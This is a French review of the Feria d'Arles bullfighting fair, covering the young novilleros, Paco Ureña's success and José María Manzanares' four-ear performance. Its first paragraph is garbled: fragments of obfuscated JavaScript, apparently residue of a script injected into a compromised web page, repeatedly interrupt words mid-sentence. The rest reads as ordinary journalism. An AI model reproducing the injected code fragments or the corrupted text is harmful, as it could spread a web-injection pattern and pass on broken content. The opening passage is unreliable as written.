DECEPTIONS, REVELATION ET TRIOMPHE MAJUSCULE

Première grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande date de la temporada française, la Feria d’Arles présentait une palette de cartels de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande variété où alternaient jeunes promesses, toreros effectuant leur présentation et, catégorie de l’arène oblige, grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes figuras de l’escalafón.

C’est essentiellement du côté de la relève que le bilan est resté bien pâle. Ainsi, de l’esportón d’oreilles que promettaient les erales des frères Gallon aux six novilleros en présence pour la course d’ouverture, seul Angel Sánchez est parvenu à promener une récompense. Tout aussi discret fut le résultat des jeunes Juan Leal et Michelito qui  effectuaient leur premier paseo de matador de toros dans l’amphithéâtre d’Arles. Les choses eussent sans doute été autres si le premier avait tué, si le second avait toréé un peu moins éloigné du toro. Le chemin vers les sommets passe par ces exigences : ce serait mentir que de ne pas le leur dire. Et il n’est pas bon de tromper les jeunes toreros sur les difficultés qui les attendent.

Un qui par contre a réussi sa présentation et confirmé ses triomphes de la fin de temporada 2013, c’est bien Paco Ureña qui a constitué la bonne surprise de la feria au cours de la corrida de clôture face aux deux meilleurs exemplaires de Robert Margé. Véritable révélation pour un conclave qui a découvert son toreo tout de sobriété parfois austère, tout d’authenticité toujours sincère et d’une émouvante humilité.

 Inutile de dire qu’il est entré dans le cœur de tous, ce qui n’est pas évident à Arles dont le public n’est pas toujours facile à déchiffrer, qui peut fêter sans mesure les enfants du pays –ce fut le cas de Mehdi Savalli et à un degré moindre de Juan Leal – et rester, en comparaison, étonnamment sévère avec Juan Bautista.

Reste pour conclure à saluer la magistrale tarde de José María Manzanares au cours de la corrida de figuras, face à un lot de Domingo Hernández très encasté mais contrasté de bravoure et de comportement. Face à deux exemplaires de tempérament opposé, manso au cheval le premier, violent le second, l’Alicantin a peaufiné deux faenas adaptées, plus relevée la première tant l’animal s’est révélé devant la muleta, conclues de deux « estoconazos » d’école, a recibir le premier, a volapié le second (à faire rougir le Juli…).

Vertical, suave, pertinent dans ses choix, épuré et surtout élégant, définitivement élégant, tel fut Manzanares avec ses quatre oreilles coupées, qui a frôlé et par moments atteint son niveau de fin de temporada passée à Nîmes, pour la Feria des Vendanges où il avait aussi coupé une queue.

photos Anthony Maurin

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